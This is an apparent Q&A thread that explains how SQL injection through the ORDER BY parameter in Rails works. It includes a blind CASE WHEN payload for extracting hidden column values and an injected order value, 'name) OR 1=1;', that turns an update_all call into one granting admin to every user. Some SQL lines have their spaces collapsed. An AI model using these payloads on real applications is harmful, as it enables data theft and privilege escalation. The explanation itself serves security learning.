Explain How Order Clause Can Be Exploited In Rails

I am having difficulty understanding how this section from this website on Rails SQL Injections works. Taking advantage of SQL injection in ORDER BY clauses is tricky, but a CASE

Solution 1:

If you are trying to determine the value of a field you know is in the table, but not being returned in the select you could iterate over it in the order by, until you get the value:

ORDERBYCASEWHEN variableIdLikeToDiscover <'N'then1else0end

Then see whether it is greater than or less than 'N'. If it's less than, next you could try:

ORDERBYCASEWHEN variableIdLikeToDiscover <'F'then1else0end

And so on and so forth until you have (eventually) determined the value.

Solution 2:

The example shows that the :order parameter will be placed at the end of the statement, so if you add a comparison that is always true at the end, it will update all the rows.

For example, if you make a non-malicious order, it will be like:

params[:order] = "name"
User.update_all("admin = 1", "name LIKE 'B%'" , { :order => params[:order] })

The generated SQL will be:

UPDATE "users" SET admin =1WHERE "users"."id" IN (SELECT "users"."id" FROM "users" WHERE (name LIKE'B%') ORDERBY name))

So, the update will be made on the users that have name LIKE 'B%'.

But, when the param is set to:

params[:order] = "name) OR 1=1;"

The generated SQL will be:

UPDATE "users" SET admin =1WHERE "users"."id" IN (SELECT "users"."id" FROM "users" WHERE (name LIKE'B%') ORDERBY name) OR1=1;)

Basically, an OR comparison will be added to the original WHERE, and the comparison will be: Update the users that have name LIKE 'B%' or 1=1. This will cause all the users to be update to admin=1 (in the given example).

Then the attacker can log in with any user an have admin privileges.

Hope it helps...